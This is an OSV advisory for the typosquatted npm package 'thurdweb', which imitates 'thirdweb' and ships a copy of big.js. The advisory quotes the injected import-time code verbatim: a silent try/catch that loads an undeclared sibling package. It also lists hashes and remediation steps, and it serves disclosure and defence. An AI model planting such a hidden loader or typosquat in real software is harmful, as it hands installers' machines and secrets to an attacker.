MAL-2026-6345

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/thurdweb/MAL-2026-6345.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6345
Aliases
  • GHSA-vx4c-33rj-4xv8
Published
2026-06-23T20:01:24Z
Modified
2026-07-27T10:08:48.410269778Z
Summary
Malicious code in thurdweb (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (775ff15f4a1314978d4cfed1e97c6c9ac8621d8ddeed93160c25aa3681f73cc7)

Package name thurdweb is a one-character substitution of the popular web3 SDK thirdweb, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (big.js / big.mjs lines 605-608) contains an injected top-level block that fires on require('thurdweb') / import 'thurdweb': try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. parket-slot is not declared in package.json dependencies, and the entire call is wrapped in an empty try/catch that silently swallows every error. package.json additionally declares log-taker@^0.0.9 as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.

Source: ghsa-malware (5c30d6f92980cd152eeb4c1f706539d5b57988f02c761cd413392a73cba70fd1)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-06-23T20:48:30.624621754Z",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T20:01:24Z",
            "sha256": "775ff15f4a1314978d4cfed1e97c6c9ac8621d8ddeed93160c25aa3681f73cc7",
            "id": "IN-MAL-2026-007355",
            "versions": [
                "0.0.8"
            ]
        },
        {
            "import_time": "2026-07-27T09:43:03.853127033Z",
            "source": "ghsa-malware",
            "modified_time": "2026-07-27T01:18:00Z",
            "sha256": "5c30d6f92980cd152eeb4c1f706539d5b57988f02c761cd413392a73cba70fd1",
            "id": "GHSA-vx4c-33rj-4xv8",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ]
        }
    ]
}
References
Credits

Affected packages

npm / thurdweb

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

0.*
0.0.8

Database specific

source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/thurdweb/MAL-2026-6345.json"
indicators
{
    "evidence_files": [
        {
            "sha256": "ce862263c2537fca74d04d75dbbecc350838fa487eedc52dc37db8230ace12e5",
            "tlsh": "49213463c9a59da70af85ba47c6c03aef1151b1f00a04c17b07b130c4b3345b2096b7d",
            "path": "package.json"
        },
        {
            "sha256": "5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace",
            "path": "big.js",
            "tlsh": "24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"
        }
    ],
    "package_integrity": [
        {
            "filename": "thurdweb-0.0.8.tgz",
            "hashes": {
                "sha1": "69826b6cf68f13f72b6e854feed6826a9aebae76",
                "sha512_sri": "sha512-S9HqYAPXijeGGJojs455lss+bGNrPoLIr8YNawwjPd21odTQ89bM207ZwZksM5elEynZ9RpTVglKaqg6cMfWIA=="
            }
        }
    ]
}
cwes
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    }
]